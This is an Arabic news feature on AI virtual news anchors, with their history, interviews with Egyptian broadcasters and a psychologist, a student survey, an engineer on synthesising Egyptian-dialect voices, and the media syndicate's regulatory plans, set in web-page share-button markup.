				<a href="https://getpocket.com/save?title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫Pocket" target="_blank" class="pocket-share-btn " data-raw="https://getpocket.com/save?title={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-get-pocket"></span> <span class="screen-reader-text">‫Pocket</span>
				</a>			</div><!-- .share-links /-->
		</div><!-- .share-buttons /-->

		<div  class="featured-area"><div class="featured-area-inner"><figure class="single-featured-image"><img width="780" height="470" src="https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf-780x470.jpeg" class="attachment-jannah-image-post size-jannah-image-post wp-post-image" alt="" data-main-img="1" decoding="async" fetchpriority="high" /></figure></div></div>
		<div class="entry-content entry clearfix">

			
			<p><strong> </strong><strong>كتبت: فرح سمير</strong></p>
<p><strong> </strong><strong>في زمنٍ باتت فيه المذيعة تبتسم دون أن تملك روحًا، ويقدّم المذيع نشرة الأخبار دون أن يشعر بمحتواها، يطرح الواقع الإعلامي سؤالًا صادمًا: هل دخلنا عصر “المذيع الافتراضي” بالفعل؟</strong></p>
<p><strong>لم يعد ظهور مذيعين مدعومين بالذكاء الاصطناعي على شاشات عربية وعالمية مجرد تجربة تقنية، بل أصبح واقعًا يفرض حضوره ويثير القلق، لا سيما بين طلاب الإعلام وممارسيه، الذين يرون في هذه “الكائنات الرقمية” تهديدًا صامتًا لمهنتهم وهويتهم المهنية</strong><strong>.</strong></p>
<p><strong> </strong><strong>تعود جذور هذه الظاهرة إلى أوائل الألفينات، حين ظهرت أول مذيعة افتراضية على الإنترنت تُدعى “أنانوفا</strong><strong>” (Ana-nova)</strong><strong>، والتي تم تقديمها عام 2000 بواسطة شركة</strong><strong> Ana-nova Ltd </strong><strong>التابعة لوكالة الأنباء البريطانية</strong><strong> Press Association. </strong><strong>كانت أنانوفا تُقدم نشرات إخبارية عبر الإنترنت، وتميزت بقدرتها على تقديم تحديثات فورية في مجالات الأخبار، الطقس، الرياضة، وأسعار الأسهم، في مدة لا تتجاوز سبع دقائق، إلا أن المشروع لم يُستكمل</strong><strong>.</strong></p>
<p><strong> </strong><strong>وفي عام 2018، قدمت صحيفة</strong><strong> “People’s Daily” </strong><strong>الصينية مذيعة افتراضية تُدعى “رين شياورونغ</strong><strong>” (Ren Xiaorong)</strong><strong>، وهي روبوت مدعوم بالذكاء الاصطناعي قادر على التعلم من آلاف المذيعين البشريين، وتمتاز بقدرتها على التطور المستمر بناءً على تفاعل الجمهور، وتعمل على مدار الساعة طوال أيام الأسبوع</strong><strong>.</strong></p>
<p><strong> </strong><strong>بحلول عام 2019، شهدت الصين توسعًا كبيرًا في استخدام المذيعين الافتراضيين، حيث أصبحت منصة “بيلي بيلي</strong><strong>” (Bilibili) </strong><strong>موطنًا لأكثر من 230,000 مذيع افتراضي يقدمون محتوى متنوعًا يستهدف فئة الشباب</strong><strong>.</strong></p>
<p><strong> </strong><strong>ومع هذه التطورات، بدأت دول أخرى في تبني تقنيات المذيعين الافتراضيين. ففي عام 2023، قدمت الكويت أول مذيعة افتراضية في العالم العربي تُدعى “فضة</strong><strong>” (Fedha)</strong><strong>، حيث ظهرت على موقع</strong><strong> “Kuwait News” </strong><strong>وتحدثت باللغة العربية الفصحى، مقدّمة الأخبار بناءً على تفضيلات الجمهور</strong><strong>.</strong></p>
<p><strong> </strong><strong>كما أطلقت قطر مذيعتين افتراضيتين تُدعيان “ابتكار” و“نورا” لتعزيز استخدام الذكاء الاصطناعي في تقديم المحتوى الإعلامي، بينما ظهرت في مصر أول مذيعة افتراضية في فبراير 2023، مما يعكس التوجه المتزايد نحو دمج التقنيات الحديثة في المجال الإعلامي</strong><strong>.</strong></p>
<p><span style="color: #a80f0f;"><strong> </strong><strong>“</strong><strong>ما بين الحي والرقمي: هل يُقصي الذكاء الاصطناعي الإعلامي البشري؟” المهنة في مواجهة الخوارزميات: المذيعون الحقيقيون يتحدثون</strong><strong>”</strong></span></p>
<p><img decoding="async" class="alignnone size-medium wp-image-3054" src="https://tahkoom.com/wp-content/uploads/2025/06/bcadc52b-7679-4318-a684-2f3d4190c79d-1-300x232.jpeg" alt="" width="300" height="232" srcset="https://tahkoom.com/wp-content/uploads/2025/06/bcadc52b-7679-4318-a684-2f3d4190c79d-1-300x232.jpeg 300w, https://tahkoom.com/wp-content/uploads/2025/06/bcadc52b-7679-4318-a684-2f3d4190c79d-1-1024x793.jpeg 1024w, https://tahkoom.com/wp-content/uploads/2025/06/bcadc52b-7679-4318-a684-2f3d4190c79d-1-768x595.jpeg 768w, https://tahkoom.com/wp-content/uploads/2025/06/bcadc52b-7679-4318-a684-2f3d4190c79d-1.jpeg 1414w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p><span style="color: #3366ff;"><strong>الإعلامية – دعاء فاروق</strong></span></p>
<p><strong>في رأيها حول الذكاء الاصطناعي وظاهرة “المذيع الافتراضي”، تؤكد الإعلامية دعاء فاروق أن الإخلاص هو جوهر النجاح في العمل الإعلامي وغيره، مشيرة إلى أن النجاح الحقيقي لا يتحقق إلا بالإخلاص في القول والعمل، حتى وإن تأخر، فإنه سيأتي في النهاية بشكل مرضٍ</strong><strong>.</strong></p>
<p><strong>وترى فاروق أن المذيع الافتراضي، رغم برمجته بأي لهجة أو خفة ظل، لا يمكنه أن يحاكي الروح الإنسانية، مؤكدة أن “الروح لا تُبرمج، والقبول الروحي لا يُصنع”، فالإنسان يتمتع بخفة ظل طبيعية وشخصية لا يمكن تقليدها برمجياً</strong><strong>.</strong></p>
<p><strong>وتوضح أن الذكاء الاصطناعي قادر على تجميع المعلومات الدينية من الإنترنت، لكنه لا يمكن أن يعوّض التفاعل الإنساني في الفتوى أو المشورة، مشددة على أن “العلماء والشيوخ هم أصحاب علم وتجربة ووعي بالسياق”، في حين أن الذكاء الاصطناعي مجرد محرك بحث يخضع لبرمجة بشرية قد تخطئ</strong><strong>.</strong></p>
<p><strong>وتؤمن دعاء بأن المذيع البشري لا يمكن استبداله، خاصة في البرامج ذات الطابع الديني أو الإنساني، لأن “الفنان أو المذيع كتلة من المشاعر”، بينما الذكاء الاصطناعي “لا يستطيع البكاء الحقيقي، ولا التعبير عن الحزن أو التفاعل مع موقف موجع”، مضيفة أن العقل البشري قادر على تمييز المشاعر الحقيقية من الزائفة، حتى وإن كانت البرمجة متقنة</strong><strong>.</strong></p>
<p><strong>وفيما يخص التكيف مع التطور، تدعو فاروق الإعلاميين إلى مواكبة أدوات العصر وفهم الذكاء الاصطناعي، لكن دون التخلي عن الهوية الإنسانية والبصمة الشخصية، قائلة: “كل مذيع له بصمة لا يمكن للذكاء الاصطناعي تقليدها”، فالاعتماد على الورقة والقلم وحده لم يعد كافيًا، ويجب على الإعلامي أن يتواصل مع جمهور اليوم بأدوات حديثة دون التفريط بروحه الإنسانية</strong><strong>.</strong></p>
<p><strong>وتقر بوجود تهديدات من الذكاء الاصطناعي لبعض الوظائف الروتينية، لكنها تؤكد أنه لن يحل محل من يخاطب الناس ويشعر بهم، مضيفة: “لم أشاهد روبوتًا يمكن أن أصدقه أو أرتبط به عاطفيًا، الذكاء الاصطناعي سيبقى بلا روح</strong><strong>.”</strong></p>
<p><strong>وفي ختام حديثها، توجّه رسالة إلى الإعلاميين الشباب، تحثهم فيها على الصبر وتجنّب استعجال الشهرة أو الثراء، مشددة على أن “النجاح الحقيقي لا يأتي في يوم وليلة”، بل هو نجاح تراكمي يُبنى بالتعب والمتابعة والزرع الدائم، مؤكدة أن النجاح السريع يزول سريعًا، بينما النجاح المتين هو من يصنع الاسم والقيمة الجماهيرية</strong><strong>.</strong></p>
<p><span style="color: #3366ff;"><strong> </strong><strong>الإعلامية &#8220;ايتن الموجى</strong><strong>&#8220;</strong></span></p>
<p><strong>حيث ترى الإعلامية آيتن الموجي أن التكنولوجيا أحدثت تطورًا كبيرًا في جميع المجالات، خاصة الإعلام، لما له من دور في تشكيل الوعي. وتصف فكرة “المذيع الافتراضي” بأنها رائعة، نظرًا لما يتمتع به من ثقافة موسوعية وخلوه من العيوب البشرية مثل التقدم في العمر أو تغير الشكل، كما ترى أن وجوده قد يخلق غيرة مهنية إيجابية تدفع المذيعين البشريين لبذل جهد أكبر من أجل التميز</strong><strong>.</strong></p>
<p><strong>مع ذلك، تؤكد أن المذيع الافتراضي يفتقر إلى الجانب الإنساني، مثل المشاعر ولمعة العين والتفاعل الحي في المواقف الإنسانية، مشيرة إلى أن هذه التفاصيل لا يمكن أن يتقنها الذكاء الاصطناعي. وتوضح أن بعض الأنماط الإعلامية مثل الحوارات، تغطية الجرائم، الحروب، وبرامج المسابقات، تحتاج إلى حضور بشري حقيقي وتفاعل مباشر لا يستطيع “الأفاتار” تقديمه</strong><strong>.</strong></p>
<p><strong>وتشدد الموجي على أن الخبرة والتجارب الشخصية تصقل الإنسان وتمنحه نضجًا لا يمكن للتكنولوجيا أن تحاكيه، مشبهة الذكاء الاصطناعي بأنه قد يبهر في البداية لكن سرعان ما يصيب المستخدم بالملل بسبب إجاباته المبرمجة. وتؤمن بأهمية مواكبة الإعلاميين للتطور التكنولوجي، مع ضرورة التواضع والتعلم المستمر</strong><strong>.</strong></p>
<p><strong>أما تأثير المذيع الافتراضي على فرص العمل، فتعتقد أنه سيكون ملموسًا في البداية، إذ قد تفضل بعض المؤسسات الاعتماد عليه كحل أقل تكلفة، لكنها ترى أن المذيع البشري سيظل مميزًا، مرجحة أن يظهر مستقبلًا تعاون أو تناغم بين الطرفين يُنتج أفكارًا مبتكرة وجديدة</strong><strong>.</strong></p>
<p><strong> </strong><span style="color: #3366ff;"><strong>الاعلامى – احمد سالم</strong></span></p>
<p><strong>كما يرى الإعلامي أحمد سالم أن المذيعين الافتراضيين لا يشكّلون تهديدًا حقيقيًا للمذيع البشري، لأن التواصل الإنساني لا يمكن تعويضه. ويشير إلى أن التجربة الممتدة لأكثر من عام لم تنتج مذيعًا افتراضيًا لافتًا، مؤكدًا أن الإعلام والفنون تقوم على التفاعل المباشر، وهو ما يفتقر إليه الذكاء الاصطناعي</strong><strong>.</strong></p>
<p><strong>ويُبرز سالم أن الميزة الكبرى للمذيع البشري تكمن في رأيه الحي وغير المبرمج، على عكس الذكاء الاصطناعي الذي يعتمد على تغذية مسبقة، موضحًا أن طرح نفس السؤال على عشرة مذيعين سينتج عشر إجابات مختلفة، وهو ما لا يمكن تحقيقه افتراضيًا</strong><strong>.</strong></p>
<p><strong>ويؤكد أن البرامج التي تعتمد على بصمة المذيع وطابعه الشخصي يصعب أن ينجح فيها الذكاء الاصطناعي، لأن الثقافة العامة والخبرة الشخصية لا تُبرمجان، مشبّهًا الفرق بين المحتوى الآلي والإنساني بالفرق بين مقال كتبه روبوت وقصيدة كتبها شاعر، فـالموهبة لا تُستنسخ</strong><strong>.</strong></p>
<p><strong>ويرى أن الذكاء الاصطناعي يمكن أن يكون أداة مفيدة للمذيع في جمع وتحليل المعلومات، لكن تبقى الصنعة الإعلامية في جوهرها إنسانية. ورغم أنه لا يتوقع تقليصًا مباشرًا للوظائف، إلا أنه يحذر من تأثيرات الواقع الافتراضي على سوق العمل، كما حدث في مهن أخرى، لكنه يؤمن بأن التطور يخلق أيضًا فرصًا جديدة للابتكار</strong><strong>.</strong></p>
<p><strong>ويعتبر أن دور المذيع الافتراضي سيبقى محدودًا في النشرات الجافة والمواد غير التفاعلية، ساخرًا من أدائه بقوله: “دمه تقيل”، في إشارة لغياب القبول الجماهيري</strong><strong>.</strong></p>
<p><strong>وفي ختام حديثه، ينصح الإعلاميين الشباب بـتنمية ثقافتهم وتطوير أنفسهم للحفاظ على تفوقهم الإنساني، مؤكدًا أن المعرفة والوعي هما الضمان الحقيقي لبقاء الإنسان في الصدارة</strong><strong>.</strong></p>
<p><span style="color: #3366ff;"><strong> </strong><strong>الإعلامى &#8211; طه الحديري</strong></span></p>
<p><strong>ويرى الإعلامي طه الحديري أن المذيع الافتراضي، رغم دقته وكفاءته التقنية، يفتقر للروح، وهي أهم ما يميز الإنسان، مؤكدًا أن التكنولوجيا لا تستطيع محاكاة مشاعر المذيع البشري أو التعبير الحقيقي عن المواقف الإنسانية، مثل قصة أم شهيد أو حوار مع طفل يتيم، لأن أداؤه قائم على برمجة مسبقة تفتقر للنضج والتراكم الشعوري</strong><strong>.</strong></p>
<p><strong>ويؤكد أن المذيع الافتراضي محكوم بالمعلومات التي زُوِّد بها ولا يمكنه الإبداع أو الخروج عنها، على عكس المذيع البشري الذي يحلل ويتأقلم مع الواقع. ويضرب مثالًا بنموذج ذكي وصف ترامب بأنه “رجل اقتصاد قوي”، في حين أن الإعلاميين البشريين قدموا تحليلات أدق وتوقعوا الرفض العالمي لسياساته</strong><strong>.</strong></p>
<p><strong>ويشير إلى أن البرامج الفنية والإنسانية والشعرية يصعب على الذكاء الاصطناعي أن ينافس فيها، لأنها تتطلب تذوقًا إنسانيًا حقيقيًا لا يمكن برمجته. ويستشهد ببرنامج افتراضي عن الأغاني، موضحًا أن المذيع البشري يمكنه استحضار روح الشاعر والمعنى العاطفي للأغنية، بينما الافتراضي يكتفي بسرد معلومات</strong><strong>.</strong></p>
<p><strong>ويعتبر أن الذكاء الاصطناعي ليس بديلاً، بل حافزًا لتطوير المذيع البشري، مشددًا على أن زمن الظهور التلفزيوني القائم على الشكل والترند قد انتهى، وأن الاستمرار في المجال يعتمد على المحتوى، والثقافة، والقدرة على فهم الجمهور</strong><strong>.</strong></p>
<p><strong>ويحذّر الإعلاميين الجدد من الاعتماد على النقل النظري والتكرار، داعيًا إلى تقديم تحليلات وتجارب واقعية بدلًا من نصوص محفوظة، لأن الجمهور بات أكثر وعيًا ويصعب التأثير فيه بمظهر أو صوت جميل فقط</strong><strong>.</strong></p>
<p><strong>وفي ختام رأيه، يؤكد الحديري أن الذكاء الاصطناعي لن يحل محل الإنسان، بل يرى مستقبلًا قائمًا على التكامل بين الطرفين، بحيث يكون الذكاء الاصطناعي مساعدًا ومرجعًا، ويظل الإعلامي البشري هو من يمنح الشاشة الروح التي لا تُستنسخ</strong><strong>.</strong></p>
<p><span style="color: #3366ff;"><strong> </strong><strong>هل نُعدّ طلاب الإعلام لمهنة قد تختفي؟</strong><strong>”</strong></span></p>
<p><strong>رغم التطور المتسارع لتقنيات الذكاء الاصطناعي واقتحامها مجالات الإعلام، ما زال المذيع الافتراضي يواجه تحديات تتعلق بثقة الجمهور، وقبول المتلقي، وغياب الحس الإنساني، كما تكشف آراء طلاب الإعلام الذين شاركوا في هذا الاستبيان</strong><strong>.</strong></p>
<p><strong>في إجاباتهم حول الفروقات الجوهرية بين المذيع البشري ونظيره الافتراضي، اتفقت الغالبية على أن العنصر الإنساني يمثل جوهر العمل الإعلامي. فأداء المذيع البشري لا يقتصر على نقل المعلومة، بل يمتد إلى إيصال المشاعر، والتفاعل اللحظي مع الجمهور، والقدرة على الارتجال، وهي عناصر وصفها أحد المشاركين بأنها “لا يمكن صناعتها آليًا مهما تطورت التكنولوجيا</strong><strong>”.</strong></p>
<p><strong>وعند سؤالهم عن الهوية الإعلامية، أجمعت الآراء تقريبًا على أهمية الحفاظ على الإنسان كجزء من عملية التواصل الإعلامي. “روح الإنسان”، “المصداقية”، و” القدرة على التغيير المجتمعي” كانت كلمات تكررت مرارًا، في تعبير واضح عن القلق من أن يؤدي الاعتماد الكلي على الذكاء الاصطناعي إلى تجريد الإعلام من وظيفته التشاركية والوجدانية</strong><strong>.</strong></p>
<p><strong>أما عند عرض مشاهد لمذيعين افتراضيين، تنوعت مشاعر المشاركين بين القلق، الغرابة، وعدم الارتياح. وعبّر البعض عن شعور “بالخوف” أو “عدم المصداقية”، وهو ما يعكس فجوة كبيرة لا تزال قائمة بين تطور التكنولوجيا ومستوى تقبل الجمهور لها</strong><strong>.</strong></p>
<p><strong>ومن زاوية سوق العمل، أبدى 75% من المشاركين خشيتهم من أن تؤدي هذه التقنية إلى تقليص الفرص المستقبلية للكوادر الإعلامية. ورغم أن قلةً رأت أنها قد تخلق فرصًا جديدة، إلا أن هذه الرؤية ما تزال محدودة أمام مخاوف الإقصاء المهني</strong><strong>.</strong></p>
<p><strong>وعن سؤال قدرة المذيع الافتراضي على إعداد المحتوى والتفاعل كمراسل، رفضت الأغلبية الفكرة، مشيرة إلى أن الإعلامي البشري لا يُستبدل، لما يملكه من وعي وسياق وقراءة للمواقف لا يمكن برمجتها بسهولة</strong><strong>.</strong></p>
<p><strong>اللافت أن الآراء انقسمت بالتساوي عندما طُرح سؤال مباشر حول الثقة في محتوى يقدمه مذيع افتراضي، ما يشير إلى أن الذكاء الاصطناعي قد يكسب مساحة من الثقة، لكنها لا تزال محدودة ومشروطة</strong></p>
<p><span style="color: #3366ff;"><strong> </strong><strong>وجه جميل وصوت دقيق… لكن أين التعاطف؟</strong><strong>”</strong></span></p>
<p><strong>ومن الزاوية النفسية، يشير د. وليد هندي، استشاري الصحة النفسية، إلى أن المذيع الافتراضي – رغم كونه إنجازًا تقنيًا لافتًا – يظل كيانًا ناقصًا نفسيًا، يفتقد إلى مقومات التأثير الوجداني العميق في الجمهور. فهو لا يمتلك هوية نفسية متكاملة، ولا يُتيح مساحة للتفاعل العاطفي الحقيقي، الذي يُعدّ أحد أهم عناصر التأثير الإعلامي. ويضيف: “رغم أن هذه الشخصيات الرقمية قد تُسهّل إيصال المحتوى لبعض الفئات كالمكفوفين أو غير المتعلمين، إلا أنها لا تُعوض الأثر النفسي الذي يتركه المذيع البشري في وعي ووجدان المتلقي</strong><strong>”.</strong></p>
<p><strong> </strong><strong>يرى هندي أن شخصية الأفاتار تفتقر لما يُعرف في علم النفس بـ” الاستبصار” أو “الإدراك التصحيحي”، إذ إنها تُردد ما تتلقاه من بيانات دون مراجعة أو وعي، مما يجعلها عرضة لتكرار الأخطاء دون تمييز. ويشير إلى أن المذيع الحقيقي وحده من يملك هذه القدرة النفسية على مراجعة الذات، والتفاعل مع الموقف بناءً على خلفية وجدانية وشخصية متكاملة</strong><strong>.</strong></p>
<p><strong> </strong><strong>في لحظات الألم، كعرض مشاهد الحرب أو الكوارث، أو في لحظات الفرح، كفوز فريق وطني، يبرز الفرق الجوهري بين الإنسان والآلة. المذيع البشري قد تتغير نبرته، ينكسر صوته، يبكي، يضحك، ويتلعثم. كلها إشارات نفسية تُحدث أثرًا عاطفيًا لدى المتلقي، وتُفعّل ما يُعرف في علم النفس بـ” التناغم الشعوري”. بينما يظل الأفاتار محايدًا، بارداً، وكأنه يقرأ من ورقة</strong><strong>.</strong></p>
<p><strong> </strong><strong>ويضيف: “المذيع الحقيقي يملك مهارات ارتجال فريدة تُعرف بالاحتواء اللحظي، فينقذ الموقف حين يحدث خلل على الهواء أو فراغ في البث، أما المذيع الافتراضي فمحكوم ببرمجة جامدة لا تعترف بالحساسية النفسية للحظة</strong><strong>”.</strong></p>
<p><strong> </strong><strong>كما يشير إلى جانب نفسي بالغ الأهمية، وهو “الانتماء المهني”، والذي يتشكل من مشاعر فخر، وكفاح، وتاريخ طويل من النجاحات والانكسارات. المذيع البشري ابن المؤسسة التي يعمل بها، يشعر تجاهها، يدافع عنها، يتألم لألمها ويفرح بنجاحها. وهو ما يستحيل زرعه في شخصية افتراضية خالية من العاطفة</strong><strong>.</strong></p>
<p><strong> </strong><strong>ويتابع حديثه بالإشارة إلى أثر المذيع البشري في تكوين الطموح لدى الأطفال والمراهقين، مؤكدًا أن هذه الشخصيات تشكّل قدوة نفسية حقيقية، تُغذّي الخيال والهوية. “كنت أتتبع المذيع أحمد سمير، وأقلده في صوته وربطة عنقه، وتكوّنت لدي رغبة حقيقية في أن أكون مثله… فهل يمكن للطفل أن يحلم أن يكون أفاتار؟</strong><strong>!”.</strong></p>
<p><strong> </strong><strong>ويختم الدكتور وليد هندي بقوله: “رغم إعلان دول كبرى – مثل الصين – عن آلاف من المذيعين الافتراضيين، لم نرَ لهم تأثيرًا نفسيًا أو وجدانيًا يُذكر. ببساطة، لأنهم يفتقرون للروح، والروح هي أساس كل تواصل إنساني حقيقي. المذيع الافتراضي… وهم عظيم تقنيًا، لكنه فقير وجدانيًا</strong><strong>”</strong></p>
<p><span style="color: #3366ff;"><strong>مهندس ذكاء اصطناعي: اللهجة المصرية.. تحدٍ مستمر للآلة</strong></span></p>
<p><strong>صرح المهندس أحمد رأفت، مهندس ميكانيكا ومتخصص في أدوات الذكاء الاصطناعي، حول استخدام تقنيات الذكاء الاصطناعي في مجال الصوت والفيديو، مسلطًا الضوء على التحديات والفرص المتاحة</strong><strong>.</strong></p>
<p><strong>وأوضح المهندس رأفت أن استخدام تقنيات الصوت يمر بمراحل متدرجة، تبدأ بتقنية &#8220;النص إلى كلام&#8221; التقليدية، والتي وصفها بأنها ذات جودة محدودة وتبدو ميكانيكية. وأشار إلى المستوى الثاني الذي يستخدم منصات الذكاء الاصطناعي باللغة الإنجليزية لإنتاج صوت يقترب من اللهجة المصرية، ولكنه لا يرتقي إلى جودة اللهجة الأصلية</strong><strong>.</strong></p>
<p><strong> </strong><strong>أما المستوى الثالث، وفقًا لتصريحات المهندس رأفت، فيعتمد على تسجيل الصوت بلهجة مصرية طبيعية واستخدام برامج تغيير الصوت لمحاكة أصوات شخصيات معينة، معتبرًا هذه الطريقة الأعلى جودة للوصول إلى لهجة مصرية واقعية</strong><strong>.</strong></p>
<p><strong> </strong><strong>وفيما يتعلق بالمستوى الرابع والأعلى، لفت المهندس إلى أنه يعتمد على كتابة النص بالعربية الفصحى أو العامية وتشكيله لغويًا، ثم استخدام نماذج مدربة على نطق اللهجة المصرية، مع الإشارة إلى التحديات القائمة نظرًا لعدم تدريب معظم النماذج بشكل كافٍ على هذه اللهجة</strong><strong>.</strong></p>
<p><strong> </strong><strong>أكد المهندس رأفت على أن &#8220;اللكنة المصرية تحديدًا تُعد من أصعب اللهجات التي يمكن للذكاء الاصطناعي محاكاتها بدقة، وذلك لأنها خليط لغوي يجمع بين عدة لغات، مما يجعل إتقانها تحديًا لنماذج الذكاء الاصطناعي، خاصة مع محدودية تدريبها على اللغة العربية أصلًا</strong><strong>.&#8221;</strong></p>
<p><strong>بالانتقال إلى تجهيز الفيديو، شرح المهندس إمكانية تركيب الصوت على فيديو حقيقي أو صورة، مع الإشارة إلى منصات مثل</strong><strong> Magic AI </strong><strong>التي تتيح إنشاء فيديوهات أو صور متحركة بمدة محدودة في النسخة المجانية. كما تطرق إلى استخدام المواقع لمعلقين صوتيين جاهزين لإنشاء ما يُعرف بالمذيعين الافتراضيين، مع ملاحظة أن هذه الطرق قد لا تقدم أفضل جودة في التفاعل الصوتي والتعبير عن المشاعر</strong><strong>.</strong></p>
<p><strong> </strong><strong>وفي ختام تصريحه، أكد المهندس أحمد رأفت على أن &#8220;التفاعل الحقيقي مع الصوت والمشاعر ما يزال يتطلب تدخلاً بشريًا&#8221;، مشيرًا إلى أن المشاعر المرتبطة بنبرة الصوت لا تزال غير مدعومة بالكامل في الذكاء الاصطناعي. ولكنه نوّه إلى الميزة الاقتصادية لهذه التقنيات، حيث إن تكلفتها &#8220;منخفضة جدًا مقارنة بأجور المذيعين البشريين</strong><strong>.&#8221;</strong></p>
<p><span style="color: #3366ff;"><strong> </strong><strong>نقابة الإعلاميين تؤكد: الذكاء الاصطناعي فرصة لتطوير الأداء الإعلامي مع الحفاظ على الدور الإنساني</strong></span></p>
<p><strong>يرى أيمن عدلي مهدي، رئيس لجنة التدريب والتثقيف بنقابة الإعلاميين، أن ظاهرة المذيعين الافتراضيين تمثل انعكاسًا طبيعيًا للتطور التكنولوجي السريع الذي يشهده الإعلام، نتيجة اندماج الذكاء الاصطناعي المتزايد في إنتاج وتقديم المحتوى</strong><strong>.</strong></p>
<p><strong>ويشير إلى أن نقابة الإعلاميين تتعامل مع هذه الظاهرة من زاويتين: الأولى: أنها قد ترفع من كفاءة الإنتاج وجودة المحتوى. الثانية: أنها تثير تساؤلات حول المصداقية والجانب الإنساني الذي لا يمكن تعويضه</strong><strong>.</strong></p>
<p><strong>ويؤكد أن الإعلام التنموي، الذي يهدف إلى بناء الوعي المجتمعي والإنساني، لا يمكن أن يؤديه الذكاء الاصطناعي منفردًا، لأنه يتطلب تفاعلًا إنسانيًا مباشرًا لا توفره التقنيات مهما تطورت. لذلك، ترى النقابة أن المذيع الافتراضي ليس مجرد تقنية، بل عنصر جديد في المشهد الإعلامي يجب ضبطه بضوابط مهنية دقيقة، تحمي دور الإعلامي البشري في صناعة الوعي وتشكيل الرأي العام</strong><strong>.</strong></p>
<p><strong>ورغم عدم وجود إطار تنظيمي شامل حتى الآن لضبط عمل المذيعين الافتراضيين، إلا أن النقابة تعمل بالتعاون مع المجلس الأعلى لتنظيم الإعلام على وضع آليات قانونية ومهنية تضمن التزام المحتوى المقدم عبر الذكاء الاصطناعي بالمعايير الأخلاقية والمهنية</strong><strong>.</strong></p>
<p><strong>ويترافق هذا التوجه مع ضرورة تطوير برامج تدريبية للإعلاميين، لضمان جاهزيتهم في استخدام هذه الأدوات بكفاءة وتوازن بين التقنية والرسالة الإعلامية</strong><strong>.</strong></p>
<p><strong>وفيما يخص مستقبل الإعلاميين مع الذكاء الاصطناعي، يؤكد عدلي أن النقابة لا تراه تهديدًا، بل فرصة كبيرة لتطوير الأداء الإعلامي، بشرط أن يُحسن الإعلاميون استخدام هذه الأدوات</strong><strong>.</strong></p>
<p><strong>فالمهارات الجديدة، مثل التعامل مع البيانات وتحسين جودة الإنتاج، أصبحت أساسية، لكنها لا تلغي أهمية التحليل والتفاعل الإنساني وقراءة السياقات الاجتماعية والثقافية</strong><strong>.</strong></p>
<p><strong>ويختتم بالتأكيد على وجود نية داخل النقابة لوضع مدونة سلوك وإرشادات مهنية واضحة، تتضمن: ضوابط لاستخدام المذيعين الافتراضيين، </strong><strong>آليات لضمان الالتزام المهني، </strong><strong>برامج تدريبية للجيل الجديد من الإعلاميين، </strong><strong>ليكونوا مؤهلين للتعامل مع سوق إعلامي متغير لا يُقصي الإنسان، بل يتطلب منه التطور المستمر</strong><strong>.</strong></p>
<p><strong> </strong><strong>المذيع الافتراضي واقع لا مفر منه، وتقنية تتطور بسرعة مذهلة، وقد تفرض نفسها في مساحات واسعة من الإعلام. لكن رغم ذلك، تبقى للمذيع البشري كاريزما خاصة، ودفء إنساني، وتفاعل حي لا يمكن تقليده أو برمجته، فالذكاء الاصطناعي قد يحفظ المعلومة، ينسّقها، يعرضها، بل وربما يتقن الإلقاء والتفاعل السطحي، لكنه يظل “بلا روح”، في حين أن المذيع الحقيقي يُشبه القصيدة الحيّة، تنبض بكل كلمة، وتنقل المعنى والمشاعر</strong></p>

			
		</div><!-- .entry-content /-->

				<div id="post-extra-info">
			<div class="theiaStickySidebar">
				<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 5, 2025</span><div class="tie-alignright"><span class="meta-views meta-item warm"><span class="tie-icon-fire" aria-hidden="true"></span> 1٬963 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 11 دقائق</span> </div></div><!-- .post-meta -->

		<div id="share-buttons-top" class="share-buttons share-buttons-top">
			<div class="share-links  icons-only">
				
				<a href="https://www.facebook.com/sharer.php?u=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="فيسبوك" target="_blank" class="facebook-share-btn " data-raw="https://www.facebook.com/sharer.php?u={post_link}">
					<span class="share-btn-icon tie-icon-facebook"></span> <span class="screen-reader-text">فيسبوك</span>
				</a>
